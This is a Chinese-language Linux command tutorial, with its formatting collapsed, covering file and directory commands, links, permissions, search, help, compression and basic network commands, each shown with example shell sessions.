-l\t--显示文件的详细信息-rw-------. 1 root root 1706 8月 30 11:45 anaconda-ks.cfgdrwxr-xr-x. 3 root root 99 8月 31 15:41 test-rw-r--r--. 1 root root 1737 8月 30 14:34 initial-setup-ks.cfg##权限 引用计数\t所有者\t所属组\t大小\t文件修改时间\t文件名 2. mkdir命令1234567命令名称:mkdir命令英文原意:make directories命令路径:/bin/mkdir执行权限:所有用户语法:mkdir -p [目录名]功能描述:创建新目录 -p 递归创建(可以同时创建多个目录) 使用方法 12345[root@localhost ~]# mkdir test --创建test的空目录[root@localhost ~]# mkdir test/abc/edf\t--此处会报错,原因就是没有test目录、abc目录,想要创建需要做递归创建[root@localhost ~]# mkdir -p test/abc/edf --递归建立,就是一级一级建立目录##注意:不要把目录弄的乱七八糟,应该有规划的创建. 3. cd命令123456命令名称:cd命令英文原意: change directory命令路径:shell 内置命令执行权限:所有用户语法:cd [目录]功能描述:切换目录 需要掌握几个概念: A:绝对路径是指通过完整的目录树结构来表示目标文件或子目录的路径.在描述中,以目录结构为例,目标目录为**/root/test**,而在该目录下有两个子目录test One和testTwo,它们的绝对路径分别为**/root/test/testOne和/root/test/testTwo**. B:相对路径是相对于当前工作目录的路径表示方法.相对路径中包含两个符号,即..和..其中,..表示当前工作目录的上一层目录,而.表示当前目录本身. 使用方法 12345[root@localhost ~]# cd test/testOne --切换目录只需要在命令后面加目录名称即可## ~\t代表用户的家目录\t..\t代表上级目录\t.\t代表当前目录\t- 代表上次所在的目录[root@localhost ~]# cd -\t# "cd -" 命令回到进入当前目录之前的目录[root@localhost ~]# cd -\t# 再执行一遍"cd -"命令又回到了test/abc 目录[root@localhost ~]# cd\t#直接用cd命令,回到家目录 命令补全:按tab键 4. pwd命令123456命令名称:pwd命令英文原意:print working directory命令路径:/bin/pwd执行权限:所有用户语法:pwd功能描述:显示当前目录 使用方法 12[root@localhost ~]# pwd\t#显示绝对路径/root 5. rmdir命令1234567命令名称: rmdir命令英文原意:remove empty directories命令路径:/bin/rmdir执行权限:所有用户语法:rmdir [目录]功能描述:删除空目录 使用-p可递归删除 使用方法 123[root@localhost ~]# mkdir -p test/abc/def #使用-p递归创建目录test/abc/def[root@localhost ~]# rmdir -p test/abc/def/\t#使用-p递归删除空目录#rmdir命令的作用十分有限,因为只能删除空目录,所以一旦目录中有文件就会报错,不常用. 6. cp命令12345678910命令名称: cp命令英文原意:cope命令路径:/bin/cp执行权限:所有用户语法: cp -rp [原文件或目录] [目标文件或目录] -r 复制目录 -p 保留文件属性功能描(包括所有者、所属组、权限和时间) -l 把目标文件建立为源文件的硬链接,而不是复制源文件 -s 把目标文件建立为源文件的软链接,而不是复制源文件功能描述:复制文件或目录,更改名字 使用方法 12345678[root@localhost ~]# cp ps.txt /root/test/testOne #把ps.txt文件复制到testOne目录下 [root@localhost test]# cp -r test1 testTwo #将目录test复制到目录testTwo中[root@localhost cesi1]# cp ps.txt ps_bak.txt #复制并且重新命名[root@localhost cesi1]# cp -p ps.txt ps_bak2 #保留原属性[root@localhost ~]# cp -l /root/ps.txt /root/psbak.txt\t#复制为硬链接文件[root@localhost ~]# cp -s /root/ps.txt /root/psbak1.txt #复制为软链接文件#注意:可以同时复制多个文件,只要有目标文件就可以大小写严格区分 7. mv命令1234567891011命令名称: mv命令英文原意: move 命令路径:/bin/mv执行权限:所有用户语法:mv [原文件或目录] [目标目录]功能描述:剪切文件、改名 选项:\t-f 强制覆盖,如果目标文件已经存在,则不询问,直接强制覆盖\t-i 交互移动,如果目标文件已经存在,则询问用户是否覆盖(默认选项)\t-n 如果目标文件已经存在,则不会覆盖移动,而且不询问用户\t-v 显示详细信息 使用方法 123[root@localhost ~]# mv ps_bak.txt /tmp #移动后源文件被删除,类似剪切[root@localhost ~]# mv /root/test /tmp #可以直接移动目录,不需要加-r选项[root@localhost ~]# mv -v /root/test /tmp #显示移动过程 8. rm命令123456789命令名称:rm命令英文原意:remove命令路径:/bin/rm执行权限:所有用户语法: rm -rf [文件或目录] -r 删除目录 -f 强制执行(不希望有询问) -i\t交互删除,在删除之前会询问用户功能描述:删除文件 使用方法 123456789[root@localhost cesi1]# rm ps_bak2 #删除文件ps_bak2 rm:是否删除普通文件 "ps_bak2"?y #系统询问是否删除,y同意,n不同意[root@localhost cesi1]# rm -f ps.txt #强制删除ps.txt文件[root@localhost cesi2]# rm -f testOne #强制删除cesi1目录rm: 无法删除"testOne": 是一个目录 [root@localhost cesi2]# rm -rf testOne #强制删除cesi1目录#注意:谨慎操作、没有回收站可言、删除之前先备份#虽然"-rf"选项是用来删除目录的,但是删除文件也不会报错,所以,为了使用方便,通常情况下不论是删除文件还是删除目录,都会直接使用-rf选项. 文件处理命令1. touch123456789101112131415命令名称:touch命令英文原意:touch 触摸命令路径:/bin/touch执行权限:所有用户语法:touch [文件名]功能描述:如果文件不存在,则会建立空文件;如果文件已经存在,则会修改文件的时间戳(访问时间、数据修改时间、状态修改时间都会改变),千万不要把touch命令当成新建文件的命令 选项:\t-a\t只修改文件的访问时间\t-c 如果文件不存在,则不建立新文件\t-d\t把文件的时间改为指定时间\t-m\t只修改文件的数据修改时间Linux中的每个文件都有三个时间,分别是访问时间(access time)、数据修改时间(modify time)和状态修改时间(change time).这三个时间可以通过stat命令进行查看.不过touch命令只能手工指定是只修改访问时间,还是只修改数据修改时间,而不能指定只修改状态时间.因为不论是修改时间,还是修改文件的数据修改时间,对文件来讲,状态都会发生改变,所以状态修改时间会随之改变.注意:linux中,文件没有创建时间 使用方法 1234[root@localhost test]# touch program #在本目录下创建文件program [root@localhost test]# touch /root/test/testOne/program_bak #指明路径创建program_bak [root@localhost cesi1]# touch program file #同时创建两个文件program file[root@localhost cesi1]# touch "program file" #创建带空格的文件 2. stat1234567命令名称:stat英文原意:didplay file or file system status所在路径:/usr/bin/stat执行权限:所有用户功能描述:显示文件或文件系统的详细信息选项:\t-f 查看文件所在的文件系统信息,而不是查看文件的信息 使用方法 12345678910111213141516171819[root@192 ~]# stat anaconda-ks.cfg #查看文件详细信息 文件:"anaconda-ks.cfg" 大小:1730 块:8 IO 块:4096 普通文件设备:fd00h/64768d\tInode:67157058 硬链接:1权限:(0600/-rw-------) Uid:( 0/ root) Gid:( 0/ root)环境:system_u:object_r:admin_home_t:s0最近访问:2021-08-28 13:27:51.039154734 +0800最近更改:2021-05-11 00:55:44.215098551 +0800最近改动:2021-05-11 00:55:44.215098551 +0800创建时间:-#虽然出现了创建时间,但是这个时间无论怎么修改都是-[root@192 ~]# stat -f anaconda-ks.cfg #查看文件系统信息 文件:"anaconda-ks.cfg" ID:fd0000000000 文件名长度:255 类型:xfs块大小:4096 基本块大小:4096 块:总计:12312705 空闲:9065203 可用:9065203Inodes: 总计:24637440 空闲:24407454 3. cat1234567891011命令名称: cat命令英文原意:concatenate files and print on the standard output命令路径:/usr/bin/cat执行权限:所有用户语法:cat [文件名]功能描述:合并文件并打印输出到标准输出 -n:显示行号 -A:相当于-vET 选项的整合,用于列出所有隐藏符号 -E:列出每行结尾的回车符$ -T:把Tab键用^I显示出来 -v:列出特殊字符 使用方法 12345678910111213[root@localhost cesi1]# cat /etc/issue #查看issue文件内容 \\S Kernel \\r on an \\m [root@localhost cesi1]# cat -n /etc/issue #查看文件显示行号 1 \\S 2 Kernel \\r on an \\m 3 #cat命令用于查看文件内容,适合查看不太大的文件.[root@192 ~]# cat -A /etc/issue\\S$Kernel \\r on an \\m$$ 4. tac123456命令名称: tac命令英文原意: 命令路径:/usr/bin/tac执行权限:所有用户语法:tac [文件名]功能描述:显示文件内容(反向列示)--倒的显示 使用方法 123456root@localhost cesi1]# tac /etc/issue #显示文件,反向显示 Kernel \\r on an \\m\\S[root@localhost cesi1]# tac -n /etc/issue #tac没有-n显示行号,错误的 tac:无效选项 -- n 5. more123456命令名称: more命令英文原意:file perusal filter for crt viewin命令路径:usr/bin/more执行权限: 所有用户语法: more [文件名]功能描述: 分页显示文件内容 使用方法 1234567891011[root@localhost cesi1]# more /etc/services#操作事项:# 空格或f 翻下页# b 向上翻页# Enter 换行# q/Q 退出[root@localhost cesi1]# more -100 /etc/services #从100行开始看起[root@localhost cesi1]# more -1000d /etc/services #从1000行开始看起,显示帮助 6. less123456命令名称: less命令英文原意:opposite of more命令路径: /usr/bin/less执行权限:所有用户语法: less [文件名]功能描述:分行显示文件内容(可向上翻页,可以搜索) 使用方法 12345678910111213[root@localhost cesi1]# less /etc/services #查看文件#操作事项: 空格或 f 翻页 Enter 换行 q/Q 退出 page up 向上翻页 page down 向下翻页 箭头 (上) 逐行往上 可以进行搜索:/ 表示搜索, 例如:/servic n表示(next)继续往下找u表示(up)往上找 7. head1234567命令名称: head命令英文原意:output the first part of files命令路径:/usr/bin/head执行权限:所有用户语法:head [文件名]功能描述:显示文件前面几行 -n 指定行数 使用方法 123456789[root@localhost cesi1]# head -n 20 /etc/services #显示开头20行的内容[root@localhost cesi1]# head /etc/services #默认的是前10行,主要用在查看脚本文件[root@192 ~]# head -5 anaconda-ks.cfg #-n 5,可以写成-5,显示前5行#version=DEVEL# System authorization informationauth --enableshadow --passalgo=sha512# Use CDROM installation mediacdrom 8. tail12345678命令名称: tail命令英文原意:output the last part of files命令路径:/usr/bin/tail执行权限:所有用户语法:tail [文件名]功能描述:显示文件结尾的内容 -n\t指定行数 -f 监听文件的新增内容 使用方法 1234[root@localhost cesi1]# tail -n 19 /etc/services #显示services文件末尾19行内容[root@localhost cesi1]# tail -f /var/log/messages #-f 动态显示,更新后可以看到数据变化,CTRL+C退出#光标不会退出文件,而会一直监听在文件的结尾处,验证需要开启一个新的终端 链接命令ln1234567命令名称:ln命令英文原意: link命令路径:/bin/ln执行权限:所有用户语法: ln -s[原文件] [目标文件] 创建软链接 ln [原文件] [目标文件] 创建硬链接功能描述:生成链接文件 使用方法 123456789101112131415161718192021222324252627282930313233[root@localhost ~]# cp -l /root/ps.txt /root/psbak.txt\t#复制为硬链接文件[root@localhost ~]# cp -s /root/ps.txt /root/psbak1.txt #复制为软链接文件#软链接[root@localhost cesi1]# ln -s /etc/issue /root/test/issue.soft #创建软链接issue.soft#软链接文件的源文件必须写成绝对路径,而不能写成相对路径(硬链接没有这样的要求)软链接特征:类似windows快捷方式(使用的比较多)lrwxrwxrwx. 1 root root 10 12月 3 14:46 issue.soft -> /etc/issue 1.软链接的权限都是rwx(方便管理)2.文件较小,只是符号链接3.issue.soft -> /etc/issue 箭头指向源文件#硬链接[root@localhost test]# ln /etc/issue /root/test/issue.hard #创建硬链接issue.hard文件[root@localhost test]# echo "www.google.com" >> /etc/issue #在文件后面加上www.google.com[root@localhost test]# cat issue.hard #查看硬链接文件,看到数据同步更新[root@localhost test]# ls -i issue.hard #查看硬链接的 i 节点33555492 issue.hard[root@localhost test]# cd /etc[root@localhost etc]# ls -i issue #查看原文件的 i 节点33555492 issue# 硬链接的特点1.不论是修改源文件,还是修改硬链接文件,另一个文件中的数据都会发生改变2.不论是删除源文件,还是删除硬链接文件,只要还有一个文件存在,这个文件都可以被访问.3.硬链接不会建立新的inode信息,也不会更改inode的总数4.硬链接不能跨文件系统(分区)建立,应为在不同的文件系统中,inode号是重新计算的.5.硬链接不能链接目录,因为如果给目录建立硬链接,那么不仅目录本身需要重新建立,目录下的所有子文件,包括子目录中的所有子文件都需要建立硬链接,这对当前的Linux来讲过于复杂.注意:软链接删除原文件,对软链接有影响 硬链接删除原文件,对硬链接没有影响 权限管理命令为什么需要权限 在计算机系统中,权限的设定和不同用户等级的分配是为了确保系统的安全性和数据的完整性.尽管在个人计算机上,我们可能都是被信任的用户,可以直接使用管理员身份登录,但在服务器上,情况就不同了. 服务器承载着大量重要且具有高价值的数据,如游戏数据、电子商城数据、银行数据等.为了保护这些数据免受不当访问和意外损坏,需要对权限进行详细的设定.不同的用户可能需要执行不同的任务,具备不同的职位,因此需要分配相应的用户等级和权限等级. 在服务器环境中,不是所有用户都应该以root身份登录.管理员拥有最大的系统权限,因此为了最小化潜在的风险,需要按照工作需要和职位需要来合理分配用户等级和权限等级.这样可以有效地防止不必要的数据访问和潜在的安全漏洞,确保服务器系统的稳定性和安全性. 权限管理 所有者:一般是这个文件的建立者. 所属组:用户组是一组用户的集合,类似大学里各种社团.将用户放到用户组里是为了方便管理. 其他用户权限:字面意思即非所有者和所属组成员的用户对文件的权限. 文件类型 “-“:普通文件. “b”:块设备文件.这是一种特殊设备文件,存储设备都是在这种文件,如分区文件 /dev/sda1 就是这种文件. “c”:字符设备文件.这也是特殊设备文件,输入设备一般都是这种文件,如鼠标、键盘等. “d”:目录文件.Linux中一切皆文件,所以目录也是文件的一种. “l”:软链接文件. “p”:管道符文件.这是一种非常少见的特殊设备文件. “s”:套接字文件,这也是一种特殊设备文件,一些服务支持Socket访问,就会产生这样的文件. 文件目录权限总结: 代表字符 权限 数字代表 对文件的含义 对目录的含义 r 读权限 4 可以查看文件的内容 可以列出目录中的内容 w 写权限 2 可以修改文件内容 可以在目录中创建、删除文件 x 执行权限 1 可以执行文件 可以进入目录 基本权限命令1. chmod12345678910111213141516171819202122命令名称: chmod命令英文原意:change the permissions mode of a file命令路径: /bin/chmod执行权限:所有用户语法: chmod [{ugoa}{+-=}{rwx}] [文件或目录] [mode=421] [文件或目录] -R 递归修改功能描述:改变文件或目录权限 所有者和root可以该文件权限 用户身份u:代表所有者(user)g:代表所属组(group)o:代表其他人(other)a:代表全部身份(all)赋予方式+:加入权限-:减去权限=:设置权限权限r:读取权限(read)w:写权限(write)x:执行权限(execute) 使用方法 1234567891011121314[root@192 ~]# touch qx[root@192 ~]# ll qx-rw-r--r--. 1 root root 0 9月 6 16:30 qx[root@192 ~]# chmod u=rwx,g=rw,o=rw qx[root@192 ~]# ll qx-rwxrw-rw-. 1 root root 0 9月 6 16:30 qx[root@192 ~]# chmod 755 qx\t#给文件赋予755权限:4代表r/2代表w/1代表x[root@192 ~]# ll qx-rwxr-xr-x. 1 root root 0 9月 6 16:30 qx[root@localhost test]# chmod -R 777 test #修改目录test及其目录下文件为所有用户具有全部权限# 644,文件的基本权限,代表rw-r--r--# 755,这是文件的执行权限和目录的基本权限,代表rwxr-xr-x# 777,这是最大权限,尽量不要赋予这样的权限 2. chown123456命令名称: chown命令英文原意:change file own ership命令路径: /bin/chown执行权限:所有权限语法: chown [用户] [文件或目录]功能描述:改变文件或目录的所有者 只有root用户可以 使用方法 1234567[root@192 ~]# chown Bob test #改变Bob文件的所属用户[root@192 ~]# ll test-rwxr-xr-x. 1 Bob root 0 9月 6 16:30 test[root@192 ~]# chown bob:bob test #改变所属用户和用户组,使用:也可以用.替代[root@192 ~]# ll test-rwxr-xr-x. 1 bob bob 0 9月 6 16:30 test 文件搜索命令Linux拥有强大的搜索功能,但是强大带来的缺点是相对比较复杂,搜索命令只是选项较多,不容易记忆而已,并不难理解. 在使用搜索命令的时候,大家要注意,如果搜索的范围过大、搜索的内容过多,则会给系统造成巨大的压力,所以不要在服务器访问的高峰执行大范围的搜索命令. 命令 描述 find 文件搜索 which 搜索命令所在目录及别名信息 whereis 搜索命令所在目录及帮助文档路径 grep 在文件内容中搜索子串匹配的行并输出 1. which123456命令名称:which命令英文原意:shows the full path of(shell) commands命令路径:/usr/bin/which执行权限:所有用户语法:which [命令]功能描述:搜索命令所在目录及别名信息 使用方法 1234567891011#需要了解知识:# /bin或/usr/bin/ 所有用户使用的命令 #/sbin或/usr/sbin 只有root用户才能使用[root@localhost test]# which ls #查看ls目录的路径alias ls='ls --color=auto' /usr/bin/ls[root@localhost test]# which cp #查看cp目录的路径alias cp='cp -i' /usr/bin/cp 2. findfind是Linux中强大的搜索命令,不仅可以按照文件名搜索文件,还可以按照权限、大小、时间、inode号等来搜索文件.但是find命令是直接在硬盘中进行搜索的,如果指定的搜索范围过大,find命令就会消耗较大的系统资源,导致服务器压力过大,所以在使用find命令搜索时,不要指定过大的搜索范围. 12345678910111213141516##需要了解知识: 1.搜索会大量占用系统资源 2.Linux以数据块为最小存储单位:1数据块=512字节=0.5KB 100MB=102400KB= 204800数据块 3.搜索的范围尽量越小越好,越精确越好,这样可以节约Linux的系统资源 4.在find中用到的通配符 *:可以匹配任意字符 ?:可以匹配单个字符 命令名称: find命令英文原意: scarch for files in a directory hierarchy命令路径:/usr/bin/find执行权限:所有用户语法:find 搜索路径 [选项] 搜索内容选项\t-name\t按照文件名搜索\t-iname\t按照文件名搜索,不区分文件名大小写\t-inum\t按照inode号搜索功能描述:文件搜索 使用方法 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364##范例1:按照文件名搜索-name -iname -inum (* ?) 的用法 [root@localhost /]# find /etc -name init #在目录/etc中查找文件init #使用通配符(* ?)进行查找文件 [root@localhost /]# find /etc -name *init* #查找包含init的文件 [root@localhost /]# find /etc -name init??? #查找init后面有3个字符的文件 #使用 -iname 不区分大小写 [root@localhost /]# find /etc -iname init* #查找init*文件不区分大小写 ##范例2:按照文件大小搜索-size +n:大于 -n:小于 =n 等于 n表示数据块 (n是整数)#find不写单位默认按照512B来进行查找,单位依次是b/c/w/k/M/G;c表示字节、w表示双字节(中文)[root@localhost /]# find / -size +204800 #在根目录下查找大于100MB的文件[root@localhost /]# find / -size +300k #在根目录下查找大于300KB的文件[root@localhost /]# find / -size -300k #在根目录下查找小于300KB的文件##范例3:-user:根据用户查询 -group:根据所属组查询[root@localhost /]# find /home -user cesi #在根目录下查找所有者为cesi的文件[root@localhost /]# find /home -user cesi -name cesi #在根目录下查找所有者为cesi文件名字为cesi的文件 /home/cesi##范例4:按照修改时间搜索linux中的文件有访问时间(atime)、数据修改时间(mtime)、状态修改时间(ctime)\t-atime[+/-]时间:按照访问时间搜索\t-mtime[+/-]时间:按照文件数据修改时间搜索\t-ctime[+/-]时间:按照文件状态修改时间搜索[root@localhost /]# find /root -atime -5 #查找/root文件下5天内修改的文件\t-5\t代表5天内修改的文件5\t代表前5-6天修改的文件+5\t代表6天前修改的文件[root@localhost /]# find /root -amin -30 #查找/root文件下30分钟内被浏览过的文件\t-amin\t-mmin\t-cmin##范例5:按照权限搜索-perm\t权限模式:查找文件权限刚好等于"权限模式"的文件-perm\t-权限模式:查找文件权限全部包含"权限模式"的文件-perm\t+权限模式:查找文件权限包含"权限模式"任意一个权限的文件[root@localhost /]# chmod 755 test1[root@localhost /]# chmod 444 test2[root@localhost /]# chmod 600 test3[root@localhost /]# chmod 200 test4[root@localhost /]# find / -perm -u=s[root@localhost /]# find -perm 444 #按照指定权限搜索文件,文件的权限必须和搜索指定的权限一致##范例6:按照文件类型搜索-type d :查找目录-type f :查找普通文件-type l :查找软链接文件##范例7:逻辑运算符(与或非)-a\tand -o\tor\t-not[root@localhost /]# find /etc -name init* -a -type d #查找init*开头的目录(配合使用) ## 范例8:-exec:对搜索结果执行操作 -ok:询问确认信息 {} \\; :固定格式 {}:结果集 \\:转译符 ;:结束[root@localhost /]# find / -name kali.txt -ok rm -rf {} \\; #使用rm命令删除找到的文件 3. grep123456命令名称:grep命令英文原意:grep命令路径:/bin/grep执行权限:所有用户语法: grep -iv [指定字串] [文件]功能描述:在文件中搜索字符串匹配的行并输出 使用方法 123456789[root@localhost sbin]# grep -i sum ./sum.sh #查找sum.sh脚本中sum的内容 -i 不区分大小写 -v 排除指定字串,反向查找 -n 输出行号 --color=auto 搜索出的关键字用颜色显示 [root@localhost sbin]# grep -i ^# /etc/passwd #查找首行为#号的内容[root@localhost sbin]# grep -iv ^# /etc/passwd #查找首行不为#号的内容 帮助命令1. man [info]123456命令名称:man命令英文原意:manual 手册命令路径:/usr/bin/man执行权限:所有用户语法:man [命令或配置文件]功能描述:获取帮助信息 使用方法 1234567891011121314151617181920## 查看命令的帮助信息[root@localhost sbin]# man ls #查看ls命令的帮助信息 #键盘输入 / -l #可以找关于-l相关选项的内容,按键盘 n 查找下一个 (/表示搜索)## 查看配置文件的帮助信息 使用man查看配置文件时,不要增加绝对路径,直接写配置文件名称就可以[root@localhost sbin]# man services #查看配置文件services的帮助信息##查看一个特殊的 passwd [root@192 ~]# whereis passwdpasswd: /usr/bin/passwd /etc/passwd /usr/share/man/man1/passwd.1.gz /usr/share/man/man5/passwd.5.gz#说明:passwd中有两个帮助文档passwd.1.gz和passwd.5.gz ,其中 1:命令的帮助 5:配置文件的帮助 查看配置文件的帮助[root@localhost sbin]# man 5 passwd #查看配置文件的帮助文档## 查看date帮助文档[root@localhost sbin]# date #查看时间#使用man date 查看格式如下[root@localhost sbin]# date 1208115820212021年 12月 08日 星期三 11:58:00 CST 2. help12345命令名称:help命令路径:shell内置命令执行权限:所有用户语法:help 命令功能描述:获得shell内置命令的帮助信息 3. –help1[root@localhost sbin]# touch --help 压缩解压缩命令在Linux系统中,与Windows不同,文件类型并非仅依赖于扩展名,而主要取决于文件的权限.Linux系统不靠扩展名来区分文件类型,而是通过权限来控制.各种压缩格式(如”.zip”、”tar”、”gz”、”bz2”等)在Linux中的解压缩方法各不相同,扩展名在此主要作为用户辨识压缩格式的标识. 用户在Linux系统中不需要深入了解各种压缩格式的技术差异,只需知道对应的压缩包如何解压缩,以及在需要压缩文件时应如何操作.这种差异不仅体现在表面的扩展名上,更涉及到系统底层的权限和文件管理机制.因此,在Linux中正确识别和处理压缩文件需要用户了解正确的压缩格式,以使用相应的压缩命令. 1. gzip gunzip命令.gz格式是Linux中最常用的压缩格式,使用gzip命令进行压缩 1234567891011121314命令名称:gzip命令英文原意:GUNzip命令路径:/bin/gzip执行权限:所有用户语法:gzip [文件]功能描述:压缩文件压缩后的格式: .gz 命令名称:gunzip命令英文原意:GUNunzip命令路径:/bin/gunzip执行权限:所有用户语法:gzip [压缩文件]功能描述:解压缩.gz的压缩文件 123[root@localhost test]# cp /etc/services /root/test/compress #复制services文件,更名为compress [root@localhost test]# gzip compress ##压缩比是5倍左右[root@localhost test]# gunzip compress.gz #解压compress.gz文件 gzip只能压缩文件,压缩后不保留原文件,不能压缩目录 2. zip unzip命令.zip是Windows中最常用的压缩格式,Linux也可以正确识别.zip格式,这可以方便地和Windows系统通用压缩文件。 1234567891011121314命令名称:zip命令路径:/usr/bin/zip执行权限:所有用户语法:zip 选项[-r] [压缩后文件名] [文件或目录] -r 压缩目录功能描述:压缩文件或目录压缩后文件格式: .zip优点:Linux和windows都支持的压缩格式,且压缩后保留原格式 命令名称:unzip命令路径:/usr/bin/unzip执行权限:所有用户语法:unzip [压缩文件] 功能描述:解压 .zip 的压缩文件 12[root@localhost test]# zip yasuo.zip yasuo[root@localhost test]# unzip yasuo.zip #解压yasuo.zip 3. bzip2 bunzip2命令.bz2格式是Linux的另一种压缩格式,从理论上来讲,.bz2格式的算法更先进,压缩比更好;而.gz格式相对来讲压缩时间更快。 1234567891011121314命令名称:bzip2命令路径:/usr/bin/bzip2执行权限:所有用户语法:bzip2 选项[-k] [文件] -k产生压缩文件后保留原文件功能描述:压缩文件压缩后文件格式: .bz2 命令名称:bunzip2命令路径:/usr/bin/bunzip2执行权限:所有用户语法:bunzip2 [-k][压缩文件] -k 解压缩后保留原文件 功能描述:解压 .zip 的压缩文件 12[root@localhost test]# bzip2 -k compress #使用bzip2 压缩文件compress [root@localhost test]# bunzip2 -k compress.bz2 #使用bunzip2解压compress.bz2文件 4. tar命令 在Linux中,对打包和压缩是区别对待的.在Linux中,如果想把多个文件或目录打包到一个文件包中,使用的是tar命令,而压缩使用的是gzip或bzip2命令. 123456789101112131415161718命令名称:tar命令路径:/bin/tar执行权限:所有用户语法:tar 选项[-zcf] [压缩后文件名] [目录] -c 打包 -v 显示详细信息 -f 指定文件名(必须加) -z 打包同压缩功能描述:打包目录 名字是为了方便区分,一般加.tar压缩后文件格式: .tar.gz 命令名称:tartar命令解压缩语法: -x 解包 -v 显示详细信息 -f 指定解压文件 -z 解压缩 12345678910root@localhost test]# tar -cvf test.tar testOne testTwo #打包testOne testTwo目录 [root@localhost test]# gzip testOne.tar #压缩testOne.tar ##.tar.gz压缩格式是互联网最常见的压缩格式 [root@localhost test]# tar -zcf testOne.tar.gz testOne #打包压缩testOne目录为testOne.tar.gz[root@localhost test]# tar -zxvf testOne.tar.gz #解压解包 testOne.tar.gz ##.tar.bz2[root@localhost test]# tar -cjf compress.tar.bz2 compress #使用tar 用选项-j 替代 bzip2命令 [root@localhost test]# tar -xjf compress.tar.bz2 网络命令 IP地址是计算机在互联网中唯一的地址编码.每台计算机如果需要接入网络和其他计算机进行数据通信,就必须配置唯一的公网IP地址. Linux也需要配置IP地址才可以正常使用网络.其实Linux主要是通过修改网卡配置文件来永久修改IP地址的. 1. ip命令ip命令逐渐取代了ifconfig命令,两条命令功能接近,但是ip命令的功能更加强大 123456789101112131415161718192021222324252627282930313233343536373839404142434445命令名称:ip英文原意:Internet Protocol所在路径:/usr/sbin/ip执行权限:超级用户功能描述:显示和设置网络路由、路由策略.语法:ip options object {command | help}options包括:-V,显示版本-h,符合人类阅读习惯显示输出-f,-family {inet, inet6, link} 强制使用指定的协议族-4,指定使用的网络层协议是IPv4协议-6,指定使用的网络层协议是IPv6协议-B,指定使用的网络层协议是Bridge协议-D,指定使用的网络层协议是decnet协议-M,指定使用的网络层协议是mpls协议-0,指定使用的网络层协议是link协议-i,指定使用的网络层协议是ipx协议-d,输出更详细的信息-o,-oneline,输出信息每条记录输出一行,即使内容较多也不换行显示-r,-resolve,显示主机时,不使用IP地址,而使用主机的域名-l,-loops,指定"ip地址刷新"的最大循环数.如果设置为0,那么将会一直尝试,直到所哟地址被移除.-t,-timestamp,当使用监视器选项时,输出时间戳-a,-all,执行指定命令给所有对象(如果命令支持这个选项)-c,-color,使用颜色输出ip command语法:object包括: address:网络设备的IP(v4或者v6)地址信息 link :网络设备信息 maddress:多播地址 mourte:组播路由缓存条目 monitor:监控网络链接消息 netns:管理网络命名空间 ntable:管理邻居表缓存操作 neighbour:邻居表 route:路由表 rule:IP策略 tunnel:IP隧道 tuntap:管理tun/tap设备COMMAND包括: add:新增 delete:删除 show(or list):显示 set:设置参数 使用方法 1.查看IP地址信息 12345678910111213141516171819202122[root@192 ~]# ip address show ##1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever inet6 ::1/128 scope host valid_lft forever preferred_lft forever ##以上是lo(本地回环网卡)的信息,它只是代表我们的网络协议正常,就算不插入网线也可以ping通,所以没有实际意义.2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000 link/ether 00:0c:29:22:2b:04 brd ff:ff:ff:ff:ff:ff ##MAC地址 inet 192.168.111.130/24 brd 192.168.111.255 scope global noprefixroute dynamic ens33 ##IP地址和子网掩码 valid_lft 1274sec preferred_lft 1274sec inet6 fe80::756e:e00:e05e:e2f7/64 scope link noprefixroute valid_lft forever preferred_lft forever ##以上是ens33网卡的信息3: virbr0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default qlen 1000 link/ether 52:54:00:8b:10:e4 brd ff:ff:ff:ff:ff:ff4: virbr0-nic: <BROADCAST,MULTICAST> mtu 1500 qdisc pfifo_fast master virbr0 state DOWN group default qlen 1000##这个命令可以进行简写 ip add这个命令主要可以查看MAC地址、IP地址和子网掩码这三个信息,其他内容如IPV6的信息目前还没有生效,可以忽略 2.查看路由表 12345[root@192 ~]# ip route showdefault via 192.168.111.2 dev ens33 proto dhcp metric 100 ##此为网关192.168.111.0/24 dev ens33 proto kernel scope link src 192.168.111.130 metric 100 ##这个命令简写为 ip route 2. ifconfig命令12345678命令名称:ifconfig命令英文原意:interface configure命令路径:/sbin/ifconfig执行权限:root语法:ifconfig 网卡名称 IP地址功能描述:查看和设置网卡信息 没有该命令,可以通过 yum provides ifconfig命令安装 1.查看IP地址 123456789101112131415161718192021222324252627282930313233[root@192 ~]# ifconfigens33: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500#ens33网卡信息 网络参数 最大传输单元 inet 192.168.111.130 netmask 255.255.255.0 broadcast 192.168.111.255 #IP地址 #子网掩码 #广播地址 inet6 fe80::756e:e00:e05e:e2f7 prefixlen 64 scopeid 0x20<link> #IPv信息,目前未生效 ether 00:0c:29:22:2b:04 txqueuelen 1000 (Ethernet) #MAC地址 RX packets 36975 bytes 3483314 (3.3 MiB) #接收的数据包大小 RX errors 0 dropped 0 overruns 0 frame 0 TX packets 33822 bytes 25432748 (24.2 MiB) #发送的数据包大小 TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536#本地回环网卡信息 inet 127.0.0.1 netmask 255.0.0.0 inet6 ::1 prefixlen 128 scopeid 0x10<host> loop txqueuelen 1000 (Local Loopback) RX packets 2660 bytes 226556 (221.2 KiB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 2660 bytes 226556 (221.2 KiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0virbr0: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500 ether 52:54:00:8b:10:e4 txqueuelen 1000 (Ethernet) RX packets 0 bytes 0 (0.0 B) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 0 bytes 0 (0.0 B) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 3. ifup和ifdown命令ifup和ifdown是两个非常简单的命令,其作用类似于Windows中的启用和禁用网卡,主要用于启用和关闭网卡 12[root@192 ~]# ifdown eth0 #关闭eth0网卡[root@192 ~]# ifup eth0 #启用eth0 网卡 4. ping命令ping命令是常用的网络命令,主要通过ICMP进行网络探测,测试网络中主机的通信情况 